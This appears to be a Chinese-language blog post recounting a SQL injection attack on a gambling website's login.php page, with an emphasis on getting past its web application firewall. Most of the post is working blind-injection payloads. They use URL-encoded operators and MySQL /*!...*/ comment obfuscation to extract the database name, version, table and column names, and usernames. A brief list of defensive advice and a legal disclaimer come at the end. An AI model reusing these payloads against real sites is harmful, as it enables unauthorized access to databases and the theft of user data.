性感“注入”,在线“发牌”
字数 765 2025-08-15 21:32:28
SQL注入绕过WAF技术实战详解
前言
本文详细分析了一次针对菠菜(博彩)网站的SQL注入攻击案例,重点介绍了如何绕过Web应用防火墙(WAF)的技术方法。攻击者通过精心构造的SQL语句,成功绕过了目标网站的安全防护机制,获取了数据库敏感信息。
技术背景
目标系统信息
- 网站类型:菠菜(博彩)应用
- 技术栈:PHP 5.x
- 数据库:MySQL
- 发现漏洞点:
Login.php页面后的id参数
初始探测
发现URL参数id可能存在SQL注入漏洞,但直接使用常规注入语句会被WAF拦截:
1' and 1=1--+ # 拦截
1' or 1=1--+ # 拦截
1' && 1--+ # 拦截
1' || 1--+ # 拦截
WAF绕过技术详解
1. 使用URL编码绕过
通过将特殊字符进行URL编码可以绕过部分WAF检测:
1' %26%26 True--+ # 不拦截(&&编码为%26%26)
1' %26%26 false--+ # 不拦截
1' %7c%7c True--+ # 不拦截(||编码为%7c%7c)
1' %7c%7c false--+ # 不拦截
2. MySQL注释语法绕过
使用MySQL特有的/*!...*/语法绕过关键字检测:
'%26%26 (length(/*!database*/())=1)--+ # 绕过database()检测
3. 数据库信息获取技术
获取数据库名称长度
'%26%26 (length(/*!database*/())=8)--+
获取用户名长度
'%26%26 (length(/*!USER*/())=14)--+
获取MySQL版本
' %26%26 (ascii(@@version)=53)--+
4. 表信息获取技术
获取表数量
' %26%26 (0<(select count(/*!table_name*/) from information_schema.tables where table_schema=DBname))--+
获取表名
' %26%26 (0< ascii((select substr(/*!table_name*/,1,1) from information_schema.tables where table_schema=DBname limit 0,1))) --+
5. 列信息获取技术
' %26%26 (0< ascii((select substr(/*!column_name*/,2,1) from information_schema.columns where table_schema = DBname %26%26 table_name = users LIMIT 1,1)))--+
6. 数据提取技术
' %26%26 (0<ascii(substr((SELECT group_concat(/*!username*/) FROM `DBname`.`users`),1,1))) --+
关键绕过思路总结
- 函数名混淆:使用
/*!...*/包裹函数名如database()、table_name等 - 编码转换:对特殊字符进行URL编码、Unicode编码等
- 语句拆分:将敏感语句拆分成多个部分,避免完整匹配
- 注释干扰:插入无害注释打乱WAF的检测模式
- 大小写混合:交替使用大小写字母绕过简单正则匹配
防御建议
- 使用参数化查询或预处理语句
- 实施最小权限原则,限制数据库用户权限
- 对输入进行严格过滤和验证
- 使用专业的WAF并定期更新规则
- 避免直接显示数据库错误信息
- 定期进行安全审计和渗透测试
法律与道德声明
本文所述技术仅用于安全研究和防御目的。未经授权对任何系统进行测试或攻击都是违法行为。读者应遵守《中华人民共和国网络安全法》及相关法律法规。